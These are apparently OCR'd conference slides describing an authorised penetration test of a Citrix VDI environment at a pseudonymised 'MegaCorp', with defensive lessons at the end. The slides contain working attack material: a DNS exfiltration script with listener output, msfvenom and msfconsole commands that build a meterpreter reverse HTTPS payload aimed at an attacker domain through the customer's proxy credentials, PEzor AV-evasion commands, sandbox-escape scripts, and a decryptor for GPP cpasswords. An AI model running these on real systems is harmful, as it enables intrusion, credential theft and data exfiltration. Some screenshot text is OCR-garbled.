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ALL THE TESTS WERE PERFORMED ON
CUSTOMER'S REQUEST AND WITH A LEGAL
CONTRACT.

ALL THE INFORMATIONS WE'RE GOING TO
DESCRIBE HERE ARE DISCLOSED WITH
CUSTOMER'S APPROVAL.



N\

WE CAN'T NAME EXPLICITLY THE COMPANY
WHICH ENGAGED US FOR THE ACTIVITY, SO THE
NAME IS GOING TO BE REPLACED WITH A FAKE
NAME... LET'S SAY (WITH A LOT OF FANTASY)...
MEGACORP



THE CONTEXT

e Penetration test activity on a VDI Citrix environment

e Activity commissioned by one of our main customers

e [hetested environment is used by our customer's employees for smart-working
e Scope: exfiltrate information from the customer network

e ACTIVITY DURATION: 5 days
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THE ENVIRONMENT
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THE ENVIRONMENT

Citrix features to export and
import files are disabled

Copy/Paste? (mainly) disabled




SMTP

Il Tuo indirizzo E-mail Temporaneo . M a | ‘ \/\/ |t h atta C h m e ntg

e e # @ o DLPidentify it without blocking it
H % O s DataExfiltrationTest - Messaggio (HTML)
File Inserisci Opzioni Formato testo Revisione Q Che cosa si desidera fare?

M‘ (1] ’—L [ Completa - ’

. ! Priorita alta
Incolla | G Rubrica Controlla Allega  Allega  Firma ‘ Componenti
* Copia formato n nomi filex elemento~ ~ ¥ Priorita bassa aggiuntivi di Office

Appunti = Nomi Includi Categorie 13 Componenti aggiuntivi { TORNA ALLA

Allegati Scarica Elimina Fonte
LISTA MESSAGGI

siset80029 @greenkic.com

DatabxfiltrationTest

DataExfiltrationTest|



BLACKLIST

Blacklist by category Blacklist by domain

[ techarcomputercom X | [ Richiest boccsts violszione e x| [ Richieta boceats volszione d x| () Nuovs scheds x |+

B | [ wecharcomputercom x | [3 Richiesta occta vilszione = x| [ Rihiesta boccsts violszione - x| (5] Nuovs scheds x|+

<« G @ @ hitps//pastebincom 5 v @ ® | = &[] <« C & Anon

TR e accesco rapido postion ol prefert i sl bar et Gesive L et ora

ro | facebook.com % « B @ = @

Per T'accesso rapido, posizions i tuoi preferiti quisulla barra Preferiti. Ge

Richiesta bloccata: violazione dei criteri di
sicurezza

6 Richiesta bloccata: violazione dei criteri di
sicurezza

= Ragione: Fa
[indietro | "
sit

Indiatro




« 'BYPASS ABLACKLIST
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BYFINDING SOMETHING
<THATSNOT BLACKLISTED




\ BLACKLIST BYPASS - IBM CLOUD

e \We know that our customer interact with IBM systems

e cloud.ibm.com may not be blacklisted..



BLACKLIST BYPASS - IBM CLOUD

e e know that our customer works with IBM

e cloud.ibm.com may be not blacklisted

Trasferimento 1 di 1 completato X

x |5

Ubicazione: Francoforte  Modifica T ¥ @

Vittorio Mignini's Account

Welcome to TBM Cloud Shell!
Image version: 1.0.22

Note: Your Cloud Shell session is running in Frankfurt (eu-de). Your workspace includes 560 MB of temporary storage. This session will close after an hour of ina

ctivity. If you don't have any active sessions for an hour or you reach the 50-hour weekly usage limit, your workspace data is removed. To track your usage, go t
o Usage quota in the Cloud Shell menu.

Tip: Enter 'ibmcloud to use the IBM Cloud CLI. The Frankfurt (eu-de) region is targeted by default. You can switch the region by running ‘ibmcloud target -r <re

gion-name>" .

vittorio_mignini@cloudshell:~$ ||




BLACKLIST BYPASS - ZEROBIN & COPY/PASTE

Find us on Tor Onionspace:
Niprzciobingmaaaz3sy anion
Onion V5:

e Scace Tscumaav | WDisiugg dopoletura W Ap discussone | TR B Nuovo

Fomato: SooTeso v

Edtorpreview

e zerobin.net isnot blacklisted

e Copy/pasteis not disabled inside Edge

Informazioni sensibili

ZeroBin.net is a minimalist, ope

pasted data. Data is encrypted/
L page

Zerobin.net is not affiliat

Find us on Tor Onionspace: Click here fo visit the public Gu
Onion V3: By using this site you agree fo {

hitp://zerobinftagjpeeebbvyzjcqyjpmjvynjsqlexwyxe7I3vgejxnqvsqd.onion

Testo Raw FOR YOUR EYES ONLY. Non chiudere questa finestra, il

Informazioni sensibili




BLACKLIST BYPASS - CATEGORY -1

https://www.cyren.com/security-center/url-category-check-gate

D - .
' icedrive Apps Encryption Support Login Sign Up

URL Category Check

Results for your request:

Introducing icedrive

The next generation _ m—
Of CIOUd StOfClge - - Alexa Rank: 27864

Create an account now and get a massive 10GB Free Storage
Getsg Find out more
CHECK ANOTHER URL
LEARN MORE ABOUT CYREN THREAT INDEPTH

Full URL: icedrive.net




\ BLACKLIST BYPASS - CATEGORY

1. Find a category which is not blacklisted

7. Find and buy an expired domain which is categorized as one
of the allowed categories



BLACKLIST BYPASS - CATEGORY - 2

URL Category Check

e https://github.com/threatexpress/domainhunter

Results for your request:

AP C— e The target category is Computers & Technology so we
o can search for expired domains with ‘computer” in their
name
® python3 domainhunter.py -u user -p password -ke computer

LEARN MORE ABOUT CYREN THREAT INDEPTH




BLACKLIST BYPASS - CATEGORY - EXFILTRATION

[ tech.nrcomputer.com

< C ® A No o | tech.nrcomputer.com

Per |'accesso rapido, posiziona i tuoi preferiti qui sulla barra Preferiti. Gestire i preferiti ora

PWNED

Please upload your sensitive file, we'll take care of it

| Scegliil file | Nessun file scelto | upload |




BLACKLIST BYPASS - CATEGORY - INJECT

B [ Richiestad tipo di x| [ Richiesta bloccata: violazione de X | [ Richiesta bloccata: violazione de X | =+

(2 C @ AN ro | tech.nrcomputer.com/ma

Per I'accesso rapido, posiziona i tuoi preferiti qui sulla barra Preferiti. Ge

M
Origine mil

[Indietro |




BLACKLIST BYPASS - CATEGORY - INJECT

[) Richiesta bloccata: tipo di file vie X | [ Richiesta bloccata: violazionede X | [§) Richiesta bloccata: violazione d=. X | -

C @ A Nonssicuro | tech.nrcomputer.com,

Per I'accesso rapido, posiziona i tuoi preferiti qui sulla barra Preferiti. Gestire i preferiti ora

@ Richiesta bloccata: tipo di file vietato
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BLACKLIST BYPASS - CATEGORY - UPLOAD

TLS can be a good way to bypass some kind of filter

f the proxy has no SSL termination it can't inspect the real
contents of the packets

Tips&Tricks: To configure quickly a https server Caddy is your
friend (https://caddyserver.com/)



BLACKLIST BYPASS - CATEGORY - INJECT

B &: x B

< C @ & https://tech.nrcomputer.com/m

Per I'accesso rapido, posiziona i tuoi preferiti qui sulla barra Preferiti. G




Is an information we gain

authoritative

DNS EXFILTRATION

resolve
.nrcomputer.com

DNS I~

Citrix




DNS EXFILTRATION

import os

import sys

from functools import partial

from base64 import bl6encode as b16
from Crypto.Cipher import AES

from Crypto.Util.Padding import pad

destination = sys.argv[1]

I e dhesmeon sk i ) ® (Configure an authoritative DNS server for

destination = f”.fdestination

input_file = sys.argv[2] an owned domain (nrcomputer.com)

maxlen = 253-len(destination)
key = os.urandom(16) ® (Generate the exfiltration payloads using a
encryptor = AES.new(key, AES.MODE_ECB) . . :
, _ R simple script like the one on the left
with open(input_file, "rb") as f: . .
data = f.read() (written in python)
B e ke ) aecg el qasayl )y destination) ® [xfiltrate data through DNS requests

block = data[i:i+16]
if len(block) < 16:
block = pad(block, 16)
enc_block = encryptor.encrypt(block;
print(b16(enc_block).decode("ascii") + destination)



> r nsole
File Edit View Bookmarks Settings Help

B split View Top/Bottom >
jo nc -lukvnp 53

5 New Tab_ [0 split View Left/Right

vitto@arch-vitto ~/Downloads/domainhunter (git)-[master] % s
Bound on 0.0.0.0 53

%6 8CBO53CF3590D6C04D1510F84434ABDOcruisesoftwares 8CBO53CF3590D6C04D1510F84434ABDOcruisesoftw
are® 7F18C70C5E6449EB14528464FF4870AFcruisesoftwaret 7F18C70C5E6449EB14528464FF4870AFcruisesoft
ware8@é A774D0D36C66AE91E1IF012A52279F2EFcruisesoftware+t A774DOD36C66AE9LIE1F012A52279F2EFcruises
oftware®l 58D441EC5C7A0227415D4FD5D825C49CcruisesoftwareX= 58D441EC5C7A0227415D4FD5D825C49Ccrui
sesoftwareE® A7541D9AFBCA995DF8COFA5981AAF11Fcruisesoftware®® A7541D9AFBCA995DF8COFA5981AAF11Fc
ruisesoftware® FEC81F1BEB298EF517D84726F7DCB1C9cruisesoftware]] FEC81F1BEB298EF517D84726F7DCB1CY
cruisesoftware?@ 52846B8CD063BB519E8A4D5E08AA3678cruisesoftware 52846B8CDO63BB519E8A4DSEO8AA3G
78cruisesoftwarek& B37F4469130A0334DD423E707309A2F0cruisesoftwaret® B37F4469130A0334DD423E70730
9A2F0cruisesoftware®® CBBOCOB450C23A3645F20F1DCD5FDO78cruisesoftwareis CBBOCOB450C23A3645F20F 1D
CD5FDO78cruisesoftwareEx 0D587D580FAQF1F69FB18A95265EE0O5Ecruisesoftwareg} 0D587D580FAOF1F69FB18
12 al@DSGEBFBEBDE@DDEE7BG4C3@DSSZ10cruisesoftware@@ 510D86E6FBEBDEODD667B64C30D55210cruisesoftwa
re|

DNS EXFILTRATION

>

File Edit View Bookmarks Settings Help

[ New Tab_ 00 split View Left/Right

cruiser@CruiserSoft:~$ python3 -c 'import string; import random; print(
| tee sensitive.txt

i_uppercase, k=150)))'

B split View Top/Bottom

™ Load a new tab with layout 2x2 terminals

>

.join(random.choices(string.ascti

WBUXBXBUYVSEZTKCLBLSORCDBX0QTLCBJIMSMTFNAIMQFWYBFEDXUHMCQHODIMRSRWNQCQFKEUTOTVVDXVUSPZVYRYYAOWIHCZWZIJKAVUN
SYUYOXHUVAANDBECUZHLOBTGKRMLLMCMTHDEDZOPRYLHS

cruiser@CruiserSoft:~$ python3 dnsexf.py
FF3189A93E22AA0F1C138CE8CBOCSCD5.
9C6D2D3ABFCI3B7FECI05EF177CF5C40.
33F5CDD0AB13469110DDF3A9C066FFBF .
2C11E02550CF7431B4B0027B4C49BCCA.
A9BA6B024E4AF7A1D475C90598CICTEA.
2CD1C73CO5DOAA7CF3DBOE306046E408.
EF3F7725B9017B376D03D5D7E33A3B36.
DE428EOA18BEA39D854262B8F2D4A9C3.
19319081C77673AB4DCF534358F30DB7 .
76A8C06B3C1C77293C9C8D785E99F67E.
9C48635A505844F6A72A424E0870E971.
cruiser@CruiserSoft:~$ python3 dnsexf.py
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:
curl: (6) Could not resolve host:

cruiser@CruiserSoft:~$ []

cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software
cruiser.software

8CB053CF3590D6C04D1510F84434ABD0.
7F18C70C5E6449EB14528464FF4870AF .
A774DOD36C66AE91ELIFO12A52279F2EF .
58D441EC5C7A0227415D4FD5D825C49C.
A7541D9AFBCA995DF8COFAS981AAF11F.
FEC81F1BEB298EF517D84726F7DCB1C9.
52846B8CD063BB519E8A4D5EO8AA3678.
B37F4469130A0334DD423E707309A2F0.
CBBOCOB450C23A3645F20F1DCD5FDO78.
0D587D580FAQF1F69FB18A95265EEQSE .
510D86E6FBEBDE@DD667B64C30D55210.

cruiser.software sensitive.txt

cruiser.software sensitive.txt | xargs -nl curl
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.
cruiser.

software
software
software
software
software
software
software
software
software
software
software
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\ SANDBOX & HARDENING

Citrix expose a guest OS (MS Windows in our case) through a web
application,

On top of it a client configuration agent (lvanti)
setup policies and hardened settings at each load of the guest
User.



\ SANDBOX & HARDENING

Guest hardening generally block some common Windows
features:

Execution of system commands

Limited Graphical menus (no Open with, Save as, run... )
Explorer.exe with directory and network shares limitation
Limited key combination support



eleliglelle

THE ENVIRONMENT




ARBITRARY COMMAND EXECUTION - OFFICE SUITE

Opzioni di Excel

ra multifunzione.

e Office suite development features can be enabled

It is possible to build and execute arbitrary VBA macros

ﬁ Microsoft Visual Basic, Applications Edition - Cartell [in esecuzione]

File Modifica Visualizza |Inserisci Formato Debug Esegui Strumenti Aggiunte Finestra

EE-A noE s @ | Rigas, Col1

Rinomina

VBAProject (Cartell)

e 3 Microsoft Excel Oggetti [z] Cartell - UserForm1 (codice)
Annulla >
EH) Foglio1 (Foglio1) [userForm
Inserisci Layout di pagina Formule Dati Revisione Q Che cosa si desidera fare? 4] Questa_cartella_di_

y Form

27 Registra macro ’ {}ﬁ —]| 3 (=] Proprieta = UserForm1
E Usa riferimenti relativi ¢ Tl

Componenti  Componenti Componenti

Q. Visualizza codice
L. Sicurezza macro aggiuntivi  aggiuntivi di Excel aggiuntivi COM...... m Esegui finestra di dialogo

o Pacchetti di espansione
Origine

Codice Componentia vi ontrolli



INTERACTIVE COMMAND PROMPT

CMD is "disabled by the administrator’
Powershell is inhibited by GPOs

CAWindows\SYSTEM32\CMD.exe

Microsoft Windows [Versione 10.0.18363.1500]

(c) 2019 Microsoft Corporation. Tutti i diritti sono riservati

€ C:\Windows\ system32\WindowsPowerShell\v1.0\PowerShell.exe
I1 prompt dei comandi & stato disattivato dall'amministratore.
Premere un tasto per continuare

X

Questo programma ¢ state bloccato dall'amministratore di sistema. Per ulteriori informazioni,
contattare I'amministratore.




INTERACTIVE COMMAND PROMPT

o F[TP
e By usingthe FTP console is possible to execute commands interactively

ﬁ Microsoft Visual Basic, Applications Edition - Cartel1 [in esecuzione]
[ CAWINDOWS\SYSTEM32\cmd.exe
File Modifica Visualizza |Inserisci  Formato Debug Esegui Strumenti Aggiunte Finestra 2 ho PHD

n @ ¥ @ | Riga4, Col1

--%% VBAProject (Cartell)
=) Microsoft Excel Oggetti
@ Foglio1 (Foglio1)

@ Questa_cartella_di_
3-8 Form [ Cartell - UserForm1 (codice)

UserForm1 [userForm




WSF

e WSH (Windows Script Host) enabled
e By finding a writable directory is possible to write a WSF file and execute it
e A more comfortable way to execute arbitrary commands

<job 1d="ftp">
<script language="VBScript'>
Set objShell = CreateObject("Shell Application")
objShell . ShellExecute "ftp"
</script>
</job>



CMD DISABLED

e REG add HKCU\Software\Policies\Microsoft\Windows\System
/v DisableCMD /t REG_DWORD /d 1 /f

e (CMD.exe is disabled, but the entire logic of CMD.exe is contained in cmd . d11

e [rom Didier Stevens - https://blog.didierstevens.com/



https://blog.didierstevens.com/

\ CMD DISABLED

rundli3?2

03/03/2021 « 2 minutes to read - @f‘ m @ ﬂ Q‘i‘ ’ s this page helpful?

Loads and runs 32-bit dynamic-link libraries (DLLs). There are no configurable
settings for Rundll32. Help information is provided for a specific DLL you run with

the rundll32 command.



UNLOCK COMMAND PROMPT

e C:\Windows\SysWOW64\rundll32.exe

e ‘Loadsand runs 32-bit dynamic-link libraries (DLLS). There are no configurable
settings for Rundll32. Help information is provided for a specific DLL you run with
the rundll32 command’

<job id="cmd">
<script language="VBScript">
Set objShell = CreateObject("Shell Application")
objShell . ShellExecute "rundll32 . exe", "h:\documentilcmd.dll, main”
</script>
</job>



UNLOCK COMMAND PROMPT

_J CA\Windows\SysWOW6&4\rundll32.exe

IReactOS Operating System [Version ©.3.11-20151211-rUNKNOWN ]
(C) Copyright 1998-20609 React0S Team.
Modifications by Didier Stevens https://DidierStevens.com

lh:\documenti>



DUMP THE REGISTRY

e regedit.exeisusedtonavigate and edit registry keys

s possible to dump the entire registry and exfiltrate the resulting file using one of

the method described earlier

\Internet Settings
Dati
(valore non impostato)

©F i@

Salvain:
Utltima modifica

*
Accesso rapido

Desktop

L]
Raccolte
SysintemalsSuite

[ SYSVoL
X 2 (compatible; MSIE 9.0; Win|

Questo PC
¢ >

Salva

Annulla

Nome file: dump reg

Salva come: File di registrazione (*req)

Intervalo di esportazione




INTERESTING FINDINGS

[HKEY_USERS\S-1-5-21-3447488706-4015308433-2054805700-189537\Software\Microsoft\Windows\Curren
tVersion\Internet Settings].AutoConfigURL=http://pac.megacorp.it:9544/proxy.pac

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr\{AE45A3F7-7DC4

-4F94-9707-1C80CCE40536}] . AutoConfigURL=http://internal.megacorp.it/proxy-prod-accesso-svilup
patori.pac

Link to Proxy Automatic Configuration files (PAC)



INTERESTING FINDINGS

function FindProxyForURL(url, host) [
var PROXY_SOPHOS = "PROXY sophos-web-vip.megacorp:808i
var PROXY_IRONPORT = "PROXY ironport-web-vip.megacorp:8080
var PROXY_IRONPORT_SVILUPPATORI = "PROXY 11.111.11.11:8081";
var DIRECT = "DIRECT";

Link to Proxy Automatic :

=2

// If URL has no dots in host name, send traffic direct.
isPlainHostName(host) ||

// If localhost send direct

host == "localhost" ||

Configuration files (PAC SN

return DIRECT;

var isIpv4Addr = /A(\d+.){3}\d+$/;

//Check if host is IPv4 format.

1 (iSIpV4Addr.test(host))
return resolvedIPManaging(host);|

/1 If specific URL needs to bypass proxy and send traffic to proxy Sophos

if

(¢
shExpMatch(url, "http*connecto.megacorp.it*") ||
shExpMatch(url,"*.megacorp.it*")||
shExpMatch(url,"*digitallib.megacorp.it*") ||
shExpMatch(url, "*acquistigru.megacorp.it*")||

)
return PROXY_SOPHOS

// If specific URL needs to bypass proxy and send traffic to proxy Megacorp.
if
(
shExpMatch(url,"*.group.gca*") ||
shExpMatch(url,"*.intranet.gca*") ||
shExpMatch(url,"*.prodinfo.gca*") ||

dnsDomainIs(host,".ksjakdjalkd.fr") ||
dnsDomainIs(host,".aasaaaa.com") ||

shExpMatch(url,"*.emea.cib*") ||
shExpMatch(url,"*.ss.cib*") ||
shExpMatch(url,"*.asia.cib*") ||
shExpMatch(url, "*.dev.xxx.cib*") ||

dnsbomainIs(host,".ilsole24ore.com") ||
dnsDomainIs(host, "xxx-myjobs.com") ||
dnsDomainIs(host,"serviziomol.megacorp.it") ||
shExpMatch(url, "*xyz.com*")

)
return PROXY_IRONPORT;



INTERESTING FINDINGS

OPSEC safe host and service

discovery

//Shibboleth per autenticazione SSO verso HCM ORACLE
dnsDomainIs(host,"shib.megacorp.com") ||
dnsDomainIs(host,"shib.megacorp.it") ||

dnsDomainIs(host,"shib-ext.megacorp.com") ||
dnsDomainIs(host,"shib-ext.megacorp.it") ||

/ /DATASTAGE
dnsDomainIs(host,"grpt-etl-kv00.megacorp.it") ||
dnsDomainIs(host,"grpi-etl-hv00.megacorp.it") ||

//SOPHOS-WEB-VIP
dnsDomainIs(host, "sophos-web-vip.megacorp.it") ||

//Posta elettronica
dnsDomainIs(host,"ev.megacorp.it") ||
dnsDomainIs(host,"grexcipvs01.megacorp.it") ||
dnsDomainIs(host,"grexcipvs02.megacorp.it") ||
dnsDomainIs(host,"grexcipvs03.megacorp.it") ||
dnsDomainIs(host, "grexcipvs04.megacorp.it") ||
dnsDomainIs(host,"grsevipvs01.megacorp.it") ||
dnsDomainIs(host,"grsevipvs02.megacorp.it") ||
dnsDomainIs(host,"sevevvs01.megacorp.it") |
dnsDomainIs(host,"sevevvs01.megacorp.it") |
dnsDomainIs(host,"sevevvs02.megacorp.it") |
dnsDomainIs(host, "sevevvs02.megacorp.it") |
dnsDomainIs(host,"sevevvs61.megacorp.it") |
dnsDomainIs(host,"sevevvs61.megacorp.it") |

//CMDB

dnsDomainIs(host,"portalecm.megacorp.it") ||
dnsDomainIs(host,"grpi-cdb-pv04.megacorp.it") ||
dnsDomainIs(host,"grpi-cdb-pv05.megacorp.it") ||
dnsDomainIs(host,"dc.services.visualstudio.com") ||

shExpMatch(url, "*portaleinfrastrutture.megacorp.it*")

)
return DIRECT;



— Other traffic

CUSTOMER'S INTRANET —— HTTP(S) traffic

........ » VPN tunnel

CUSTOMER'S INTRANET

Employee 1 —

CITRIX

CITRIX VPN J
Employee 2 . Y

Proxy Sophos
(Filtered)

Proxy IronPort
(Unfiltered)

DNS Srv
Proxy / Firewall

T T Employee 1

Firewall )a-----------
INTERNET — -

INTERNET Employee 2




INTERESTING FINDINGS

// If specific URL needs to bypass proxy and send traffic to proxy Megacorp.

if

(
shExpMatch(url,"*.group.gca*") ||
shExpMatch(url,"*.intranet.gca*") ||
shExpMatch(url,"*.prodinfo.gca*") ||
dnsDomainIs(host,".ksjakdjalkd.fr") ||
dnsDomainIs(host,".aasaaaa.com") ||
shExpMatch(url,"*.emea.cib*") ||
shExpMatch(url,"*.ss.cib*") ||
shExpMatch(url,"*.asia.cib*") ||
shExpMatch(url,"*.dev.xxx.cib*") ||
dnsDomainIs(host,".ilsole24ore.com") ||
dnsDomainIs(host, "xxx-myjobs.com") ||
dnsDomainIs(host,"*mybanking.megacorp.it*") ||
shExpMatch(url, "*xyz.com")

)

return PROXY_IRONPORT;



— Other traffic

CUSTOMER'S INTRANET ———» HTTP(S) traffic

........ » VPN tunnel

Firewall

cﬁs Exploit a misconfiguration:
/ shExpMatch(url, *mybanking.megacorp.it)

Proxy Sophos Proxy IronPort
< BRS Shy > < (Filtered) > (Unfiltered)
*Gwall )4 -----------

Employee 1

E T
i f
: !
INTERNET B 2



— Other traffic

CUSTOMER'S INTRANET ———» HTTP(S) traffic

........ » VPN tunnel

Firewall

cﬁs Exploit a misconfiguration:
/ shExpMatch(url, *mybanking.megacorp.it*)

< > < Proxy Sophos >
DNS Srv (Filtered)
*Gwall ) SRR

Proxy IronPort
[CLUIEE))

Employee 1

E T
i f
: !
INTERNET B 2



— Other traffic

CUSTOMER'S INTRANET ———» HTTP(S) traffic

........ » VPN tunnel

Firewall

Exploit a misconfiguration:
shExpMatch(url, *mybanking.megacorp.it#*)

)
/

< > < Proxy Sophos >
DNS Srv (Filtered)
*Gwall )4 ...........

mybanking.megacorp.it

Proxy IronPort
[CLUIEE))
Employee 1

| =
i i
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PART [l



‘BUILDING” THE MALWARE - 1

e (Our scope doesn't require 1o be stealthy so we can test
detection capabilities of the AV used in target system. We
used metasploit to build the most classic meterpreter payload

e “gqui sono quasi tutti somari e amanti di metasploit, quindi gentaccia,
ma di meglio non si trova” ~ decoder (joking)
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“BUILDING” THE MALWARE - 2

msfvenom -a x64 --platform windows -p windows/x64/meterpreter_reverse_https
LHOST=www .nrcomputer .com LPORT=443 HandlerSSLCert=./cert.pem
HttpProxyHost=<IP> HttpProxyUser=MegaCorpUser HttpProxyPort=80860
HttpProxyPass=MUserPw -f exe -0 malware.exe

,Asexpecnajthe"Mawfrneuﬁﬁmﬁerpayk@disiwwnedkﬂew
detected and neutralized by the AV countermeasures

That's where Pezor can come in handy, a great tool when is time to
obfuscate a malware (thanks @phraaaaaaa)

bash PEzor.sh -64 -sgn -unhook -syscalls
-antidebug -format=exe malware.exe

https://github.com/phra/PEzor



INFECTING THE SYSTEM - 3

Set up a listener. TLS help to bypass (some) Dps/Edr
system

sudo msfconsole -x "use exploit/multi/handler; set
PAYLOAD windows/x64/meterpreter/reverse_https; set
LHOST 0.0.0.0; set LPORT 443; set HandlerSSLCert
./cert.pem; run -j"
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ACCESS INHIBITED PATHS

e Using . Ink filesis possible to access some previously
inhibited paths ( Local filesystem and network shares )

# Proprieta - SYSVOL_LNK X
Generale Collegamento  Sicurezza Dettagli  Versioni precedenti

SYSVOL_LNK
2

Tipo: Cartella di file
Percorso: SYSVOL

Esplor il X —
@ L'accesso alla risorsa "'\\-t"\SYSV'OL'\-t" & stato negato.
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ACCESS INHIBITED PATHS

Stealthy Network enumeration: Domain controller's SYSVOL

® SYSVOL/Policies/{38F435B0-1644-4A9D-A26F-18BB97724B71}/Machine/Preferences/G
roups/Groups.xml

® SYSVOL/Policies/{563A12A9-D035-4D62-8787-BB823FBB24D5}/User/Preferences/Driv
es/Drives.xml



GROUPS. XML

Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User
clsid="{DF5F1855-51E5-4d24-8B1A-DOBDE98BA1D1}" name="Administrator"
image="0" changed="2019-03-21 12:21:50"
uid="{F0253152-1340-4A9E-B5FC-B5B6976DACSF } "><Properties action="C"
fullName="" description=""
cpassword="Ij3+/kB+06RQvD. . .qvsGindxqxwZtBrtkew891lE" changelLogon="@"
noChange="0" neverkExpires="0" acctDisabled="0"
userName="Administrator"/></User>



DRIVES. XML

<Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="1:" status="I:"
image="1" changed="2011-10-10 10:29:31"
uid="{2F8CO98A-DB4F-462A-811A-D4097EF18734}" bypasskrrors="1"><Properties
action="R" thisDrive="NOCHANGE" allDrives="NOCHANGE"
userName="IP\ElenchiNDG" path="\\IP\ElenchiNDG" label="ElenchiNDGPreProd"
persistent="1" useletter="0" letter="I"
cpassword="CKD/HxUWhC. . .BwIRZ1h2jazI"/></Drive>



THANK YOU MICROSOFT

2.2.1.1.4 Password Encryption

02/14/2019 « 2 minutes to read

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6¢c c9 fa f4 93 10 62 of fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6¢c 1b

Is this page helpful?



THANK YOU MICROSOFT

import binascii

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode

def b64decode_addpadding(b64input) :
try:
return bé64decode(b64input)
except binascii.Error:
return None

KEY = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806ccB57990209b09a433b66c1b")
IV = b"\x00" * 16

encryptor = AES.new(KEY, AES.MODE_CBC, IV)
b64_ciphertext = input('cpassword: ")

while (ciphertext := b64decode_addpadding(b64_ciphertext)) is None:
b64_ciphertext = f"{b64_ciphertext}="

plaintext = unpad(encryptor.decrypt(ciphertext), 16)
print(plaintext.decode("utf-16-1e"))

vitto@arch-vitto ~ % python3 microsoft_decrypt.py

cpassword: Ij3+/kB+06 vsGinJxgxwZtBrtkew891E
Hai ech/4u

vitto@arch-vitto ~ % python3 microsoft_decrypt.py

cpassword: CKD/HxU! wIRZ1h2jazI

el: D9



WELCOME, ADMIN

The password related to the Administrator account is valid in 5

different randomically selected systems, including a domain
controller.

From here the path to the heaven is close enough..



WELCOME, ADMIN

~rom homeworker to server(s) admin
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Blue Team

VDI guest arent firewall, proper network segregation is
mandatory.

One (virtual) image to rule them all doesn't work, too many
software are needed to fulfil the requirements of different
working groups

Don't insert credentials inside group policy preferences (or it
will be stored in SYSVOL in a really vulnerable ways)
Implement GPO and locking features in attempt to limit a
motivated attacker isnt that easy...
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Attacker

e (Oldtricks first, latest cve as last resort

e [nvesttime to look out the features of the whitelisted
software, those can be useful to perform a sandbox escape
from controlled environments

e \When you're hacking windows, sometimes Microsoft is your
best friend
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